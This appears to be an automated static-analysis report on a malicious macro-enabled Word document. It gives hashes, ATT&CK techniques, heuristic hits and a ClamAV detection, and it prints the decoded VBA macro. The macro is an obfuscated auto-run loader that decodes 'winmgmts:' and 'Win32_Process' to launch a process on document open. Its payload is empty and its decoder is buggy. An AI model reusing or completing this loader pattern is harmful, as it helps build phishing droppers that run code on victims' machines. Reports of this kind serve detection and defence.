Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 43bafc57f05e7d7b…

MALICIOUS

Office (OOXML)

16.8 KB Created: 2021-10-17 12:04:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-10-24
MD5: 30f7feb5efff526e7e7aa310185cd899 SHA-1: 6e6006a752fc75fa0bf04144bbfa6c9c9b8288bc SHA-256: 43bafc57f05e7d7bf2a3ed98b5b413a4a088018a2cc2af394dcc4885a8fce08e
362 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

This OOXML document contains heavily obfuscated VBA macros designed to execute automatically upon opening via the Document_Open and AutoOpen subroutines. The script utilizes a custom decoder and the GetObject function to create and execute a payload, as indicated by the critical heuristic firings for obfuscated auto-exec VBA loaders and p-code execution. The ClamAV detection on the file and an extracted artifact further confirms its malicious nature, pointing towards a downloader or dropper functionality.

Heuristics 8

  • ClamAV: Doc.Malware.Valyria-10009612-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-10009612-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1293 bytes
SHA-256: 70db5d18f5c8be36a509f592cd045b17763e98997885a91bbf783266436bdbba
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Function askljdaklsjd(qowpeiopqwie)
 askljdaklsjd = Chr(qowpeiopqwie - 17)
End Function

Function aksdjlkasjdl(qwpoeqwja)
 aksdjlkasjdl = Left(qwpoeqwja, 3)
End Function

Function oasjdojqpwe(oapsdjoasp)
 oasjdojqpwe = Right(oapsdjoasp, Len(oapsdjoasp) - 3)
End Function

Function asdqweasdqwe(asopdiopqiwoepiaosdiop)
 Do
 Oatasopdiopqiwoepiaosdiop = Oatasopdiopqiwoepiaosdiop + askljdaklsjd(aksdjlkasjdl(asopdiopqiwoepiaosdiop))
 asopdiopqiwoepiaosdiop = oasjdojqpwe(asopdiopqiwoepiaosdiop)
 Loop While Len(asopdiopqiwoepiaosdiop) > 0
 asdqweasdqwe = Oatmilk
End Function

Sub MyMacro()
    Dim Apples As String
    Dim Water As String
 
    Apples = ""
    Water = asdqweasdqwe(Apples)
    
    GetObject(asdqweasdqwe("136122127126120126133132075")).Get(asdqweasdqwe("104122127068067112097131128116118132132")).Create Water, Tea, Coffee, Napkin
End Sub

Sub Document_Open()
    MyMacro
End Sub

Sub AutoOpen()
    MyMacro
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 10752 bytes
SHA-256: 180416b02fbfb5813d9ba795dd826c57bc0e64a0a99d8ed241a96de3b133d251
Detection
ClamAV: Doc.Malware.Valyria-10009612-0
Obfuscation or payload: unlikely